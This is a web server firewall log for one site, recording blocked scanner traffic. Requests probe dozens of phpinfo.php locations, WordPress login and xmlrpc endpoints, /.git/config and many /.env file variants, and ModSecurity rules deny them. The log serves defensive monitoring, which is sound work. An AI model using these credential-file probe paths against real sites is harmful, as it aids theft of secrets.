[Sat May 09 01:51:28.889759 2026] [:error] [pid 51009:tid 51087] [client 18.156.77.36:34336] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/phpinfo.php"] [unique_id "af4ioOB0GbUWhxgzX9Wb_wAAAIs"]
[Sat May 09 01:51:30.123861 2026] [:error] [pid 51113:tid 51136] [client 18.156.77.36:46804] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev/phpinfo.php"] [unique_id "af4iokQfs7sWtqkpQIeeRAAAANU"]
[Sat May 09 01:51:31.112366 2026] [:error] [pid 51007:tid 51037] [client 18.156.77.36:46818] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/old/phpinfo.php"] [unique_id "af4io1MagSGstWKyzzUf-gAAAA8"]
[Sat May 09 01:51:32.169220 2026] [:error] [pid 34318:tid 34328] [client 18.156.77.36:46832] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "af4ipMr3guirgJiKhzAHdQAAAQg"]
[Sat May 09 01:51:33.149393 2026] [:error] [pid 51009:tid 51097] [client 18.156.77.36:46838] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/phpinfo.php"] [unique_id "af4ipeB0GbUWhxgzX9WcCgAAAJU"]
[Sat May 09 01:51:34.131660 2026] [:error] [pid 51009:tid 51099] [client 18.156.77.36:46840] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info"] [unique_id "af4ipuB0GbUWhxgzX9WcDgAAAJc"]
[Sat May 09 01:51:35.134425 2026] [:error] [pid 51009:tid 51098] [client 18.156.77.36:46844] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/php-info.php"] [unique_id "af4ip-B0GbUWhxgzX9WcFwAAAJY"]
[Sat May 09 01:51:36.108500 2026] [:error] [pid 61356:tid 61401] [client 18.156.77.36:46850] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpversion.php"] [unique_id "af4iqIx3vpB8oWhUq2MzXgAAAc0"]
[Sat May 09 01:51:37.111905 2026] [:error] [pid 51113:tid 51118] [client 18.156.77.36:54068] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/_phpinfo.php"] [unique_id "af4iqUQfs7sWtqkpQIeeRgAAAMM"]
[Sat May 09 01:51:38.097318 2026] [:error] [pid 61356:tid 61407] [client 18.156.77.36:54080] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/old_phpinfo.php"] [unique_id "af4iqox3vpB8oWhUq2MzagAAAdM"]
[Sat May 09 01:51:39.067933 2026] [:error] [pid 61356:tid 61412] [client 18.156.77.36:54088] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/server-info.php"] [unique_id "af4iq4x3vpB8oWhUq2MzcQAAAdg"]
[Sat May 09 01:51:40.045502 2026] [:error] [pid 61355:tid 61378] [client 18.156.77.36:54104] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/server-status.php"] [unique_id "af4irPkhJTi30CBXmMlERQAAAZE"]
[Sat May 09 01:51:41.020910 2026] [:error] [pid 61355:tid 61385] [client 18.156.77.36:54110] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/_profiler/phpinfo"] [unique_id "af4irfkhJTi30CBXmMlETQAAAZg"]
[Sat May 09 01:51:42.036089 2026] [:error] [pid 61355:tid 61363] [client 18.156.77.36:54112] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/_environment"] [unique_id "af4irvkhJTi30CBXmMlEWAAAAYI"]
[Sat May 09 01:51:43.015147 2026] [:error] [pid 61317:tid 61332] [client 18.156.77.36:54126] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webroot/index.php/_environment"] [unique_id "af4ir8-fFk_CedOCOYsTHwAAAUw"]
[Sat May 09 01:51:43.997489 2026] [:error] [pid 61317:tid 61325] [client 18.156.77.36:54128] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail/phpinfo.php"] [unique_id "af4ir8-fFk_CedOCOYsTJAAAAUU"]
[Sat May 09 01:51:44.984945 2026] [:error] [pid 61356:tid 61405] [client 18.156.77.36:54136] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "af4isIx3vpB8oWhUq2MziAAAAdE"]
[Sat May 09 01:51:46.002391 2026] [:error] [pid 61355:tid 61369] [client 18.156.77.36:54146] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hosting/phpinfo.php"] [unique_id "af4isvkhJTi30CBXmMlEYwAAAYg"]
[Sat May 09 01:51:47.021281 2026] [:error] [pid 61355:tid 61366] [client 18.156.77.36:58458] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webmail/phpinfo.php"] [unique_id "af4is_khJTi30CBXmMlEbQAAAYU"]
[Sat May 09 01:51:47.995779 2026] [:error] [pid 51009:tid 51100] [client 18.156.77.36:58474] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/smtp/phpinfo.php"] [unique_id "af4is-B0GbUWhxgzX9WcNQAAAJg"]
[Sat May 09 01:51:48.970644 2026] [:error] [pid 51007:tid 51035] [client 18.156.77.36:58480] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php.bak"] [unique_id "af4itFMagSGstWKyzzUgCAAAAA0"]
[Sat May 09 01:51:49.962077 2026] [:error] [pid 61355:tid 61367] [client 18.156.77.36:58492] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php.old"] [unique_id "af4itfkhJTi30CBXmMlEdQAAAYY"]
[Sat May 09 01:51:50.940674 2026] [:error] [pid 61355:tid 61381] [client 18.156.77.36:58508] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php~"] [unique_id "af4itvkhJTi30CBXmMlEegAAAZQ"]
[Sat May 09 01:51:51.907819 2026] [:error] [pid 61356:tid 61394] [client 18.156.77.36:58522] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php.bak"] [unique_id "af4it4x3vpB8oWhUq2MzpgAAAcY"]
[Sat May 09 01:51:52.876915 2026] [:error] [pid 61356:tid 61403] [client 18.156.77.36:58526] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php.save"] [unique_id "af4iuIx3vpB8oWhUq2MzrAAAAc8"]
[Sat May 09 01:51:53.852112 2026] [:error] [pid 61355:tid 61372] [client 18.156.77.36:58538] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/staging/phpinfo.php"] [unique_id "af4iufkhJTi30CBXmMlEigAAAYs"]
[Sat May 09 01:51:54.818652 2026] [:error] [pid 51009:tid 51095] [client 18.156.77.36:58552] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beta/phpinfo.php"] [unique_id "af4iuuB0GbUWhxgzX9WcSAAAAJM"]
[Sat May 09 01:51:55.800321 2026] [:error] [pid 61355:tid 61378] [client 18.156.77.36:58558] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uat/phpinfo.php"] [unique_id "af4iu_khJTi30CBXmMlEmwAAAZE"]
[Sat May 09 01:51:56.767343 2026] [:error] [pid 51009:tid 51085] [client 18.156.77.36:37588] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qa/phpinfo.php"] [unique_id "af4ivOB0GbUWhxgzX9WcTwAAAIk"]
[Sat May 09 01:51:57.744069 2026] [:error] [pid 51008:tid 51054] [client 18.156.77.36:37600] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/preview/phpinfo.php"] [unique_id "af4ivXB58C2Y1tgLtuLgpQAAAEU"]
[Sat May 09 01:51:58.727970 2026] [:error] [pid 34318:tid 34324] [client 18.156.77.36:37606] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/www/phpinfo.php"] [unique_id "af4ivsr3guirgJiKhzAHgQAAAQQ"]
[Sat May 09 01:51:59.700099 2026] [:error] [pid 61355:tid 61366] [client 18.156.77.36:37618] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "af4iv_khJTi30CBXmMlEvQAAAYU"]
[Sat May 09 01:52:00.680841 2026] [:error] [pid 51009:tid 51094] [client 18.156.77.36:37624] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public_html/phpinfo.php"] [unique_id "af4iwOB0GbUWhxgzX9WcWQAAAJI"]
[Sat May 09 01:52:01.660684 2026] [:error] [pid 61355:tid 61383] [client 18.156.77.36:37634] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/phpinfo.php"] [unique_id "af4iwfkhJTi30CBXmMlExgAAAZY"]
[Sat May 09 01:52:02.640447 2026] [:error] [pid 51009:tid 51096] [client 18.156.77.36:37642] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/docs/phpinfo.php"] [unique_id "af4iwuB0GbUWhxgzX9WcYQAAAJQ"]
[Sat May 09 01:52:03.905971 2026] [:error] [pid 61355:tid 61376] [client 18.156.77.36:37654] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4iw_khJTi30CBXmMlEygAAAY8"]
[Sat May 09 01:52:04.882781 2026] [:error] [pid 61355:tid 61365] [client 18.156.77.36:37670] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/administrator/phpinfo.php"] [unique_id "af4ixPkhJTi30CBXmMlEzgAAAYQ"]
[Sat May 09 01:52:05.851145 2026] [:error] [pid 51009:tid 51086] [client 18.156.77.36:37686] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core/phpinfo.php"] [unique_id "af4ixeB0GbUWhxgzX9WcbwAAAIo"]
[Sat May 09 01:52:06.820969 2026] [:error] [pid 61356:tid 61400] [client 18.156.77.36:38760] [client 18.156.77.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/includes/phpinfo.php"] [unique_id "af4ixox3vpB8oWhUq2M0DAAAAcw"]
[Sat May 09 02:18:43.072729 2026] [:error] [pid 51009:tid 51097] [client 82.35.35.193:58588] [client 82.35.35.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.35.35.193, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "af4pA-B0GbUWhxgzX9WkwQAAAJU"]
[Sat May 09 02:18:43.096807 2026] [proxy_fcgi:error] [pid 51009:tid 51097] [client 82.35.35.193:58588] AH01071: Got error 'Primary script unknown'
[Sat May 09 04:00:21.101211 2026] [:error] [pid 9663:tid 9687] [client 45.92.229.130:34037] [client 45.92.229.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.130, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "af5A1ZcWIu01SCxbjwupzAAAARU"]
[Sat May 09 04:00:21.124538 2026] [proxy_fcgi:error] [pid 9663:tid 9687] [client 45.92.229.130:34037] AH01071: Got error 'Primary script unknown'
[Sat May 09 04:17:17.932253 2026] [:error] [pid 9760:tid 9779] [client 208.84.100.152:33844] [client 208.84.100.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "af5EzWIkCp-C_fh0s7L30AAAAU0"]
[Sat May 09 04:17:17.932593 2026] [:error] [pid 9760:tid 9773] [client 208.84.100.152:33834] [client 208.84.100.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "af5EzWIkCp-C_fh0s7L30QAAAUc"]
[Sat May 09 04:17:17.932678 2026] [:error] [pid 9760:tid 9768] [client 208.84.100.152:33820] [client 208.84.100.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "af5EzWIkCp-C_fh0s7L30gAAAUI"]
[Sat May 09 04:17:17.933207 2026] [:error] [pid 9760:tid 9777] [client 208.84.100.152:33792] [client 208.84.100.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "af5EzWIkCp-C_fh0s7L31AAAAUs"]
[Sat May 09 04:17:17.933219 2026] [:error] [pid 9760:tid 9779] [client 208.84.100.152:33804] [client 208.84.100.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "af5EzWIkCp-C_fh0s7L30wAAAU0"]
[Sat May 09 04:17:17.933368 2026] [:error] [pid 9760:tid 9790] [client 208.84.100.152:33796] [client 208.84.100.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "af5EzWIkCp-C_fh0s7L31QAAAVg"]
[Sat May 09 04:44:57.153307 2026] [:error] [pid 9184:tid 9204] [client 54.193.57.108:33452] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "af5LSYjfODqb_i0Fm99TBQAAAAc"]
[Sat May 09 04:44:57.978810 2026] [:error] [pid 9184:tid 9197] [client 54.193.57.108:33454] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "af5LSYjfODqb_i0Fm99TCwAAAAA"]
[Sat May 09 04:44:58.628914 2026] [:error] [pid 9920:tid 9930] [client 54.193.57.108:33456] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "af5LSkxitGYhlzgZb5ZJRQAAAcg"]
[Sat May 09 04:44:59.311887 2026] [:error] [pid 9187:tid 9253] [client 54.193.57.108:33472] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "af5LSxC7An6gkXsRsaHNyQAAAIA"]
[Sat May 09 04:44:59.968042 2026] [:error] [pid 9293:tid 9312] [client 54.193.57.108:33488] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.staging"] [unique_id "af5LS5R__qEzV5O6Z2OoxQAAAM8"]
[Sat May 09 04:45:00.623303 2026] [:error] [pid 9293:tid 9301] [client 54.193.57.108:33494] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.development"] [unique_id "af5LTJR__qEzV5O6Z2OoyQAAAMQ"]
[Sat May 09 04:45:01.281558 2026] [:error] [pid 9293:tid 9319] [client 54.193.57.108:33506] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.test"] [unique_id "af5LTZR__qEzV5O6Z2OozgAAANY"]
[Sat May 09 04:45:01.941934 2026] [:error] [pid 9293:tid 9320] [client 54.193.57.108:33522] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.remote"] [unique_id "af5LTZR__qEzV5O6Z2Oo0QAAANc"]
[Sat May 09 04:45:02.597905 2026] [:error] [pid 9760:tid 9781] [client 54.193.57.108:33538] [client 54.193.57.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.bak"] [unique_id "af5LTmIkCp-C_fh0s7L9WQAAAU8"]
